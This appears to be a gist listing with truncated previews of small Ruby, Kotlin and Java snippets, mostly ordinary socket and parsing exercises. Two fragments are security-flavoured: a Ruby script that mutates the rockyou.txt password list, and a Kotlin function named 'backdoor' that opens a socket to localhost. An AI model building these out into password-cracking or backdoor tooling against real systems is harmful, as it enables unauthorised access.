This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class LinkedList<T>{ | |
private Node<T> head = null; | |
private Node<T> tail = null; | |
public int size(){ | |
Node<T> node = head; | |
int count = 0; | |
while(node != null){ | |
count++; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
=begin | |
where - 'before' or 'after' | |
phrase - the phrase to add to the word | |
file path - the location of your rockyou.txt file | |
=end | |
where = ARGV[0].to_s.downcase.strip | |
phrase = ARGV[1].to_s.strip | |
file_path = ARGV[2] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Person | |
include Comparable | |
attr_reader :id | |
def initialize(id, name) | |
@id = id | |
@name = name | |
end | |
def <=>(other) | |
@id <=> other.id |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def start(&block) | |
server = TCPServer.new 6666 | |
block.call(server) | |
end | |
class MyObject | |
def initialize(&block) | |
block.call(1) | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
def start(&block) | |
server = TCPServer.new 6666 | |
block.call(server) | |
end | |
start do |server| | |
client = server.accept | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
def handle_client(client) | |
Thread.new do | |
loop do | |
client.write 'hello' | |
response = client.gets.chomp | |
puts response | |
if response == 'exit' | |
break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
# Handles connections and contains the clients | |
class Server | |
attr_reader :clients | |
def initialize | |
@clients = [] | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fun main(args: Array<String>) { | |
val number: Int = "42A".toInt() //Integer.parseInt as well | |
println(number) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
code = "45A".to_i | |
puts code |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.net.Socket | |
fun main(args: Array<String>) { | |
backdoor("localhost", 6666) | |
} | |
fun backdoor(ip: String, port: Int){ | |
val socket = Socket(ip, port) |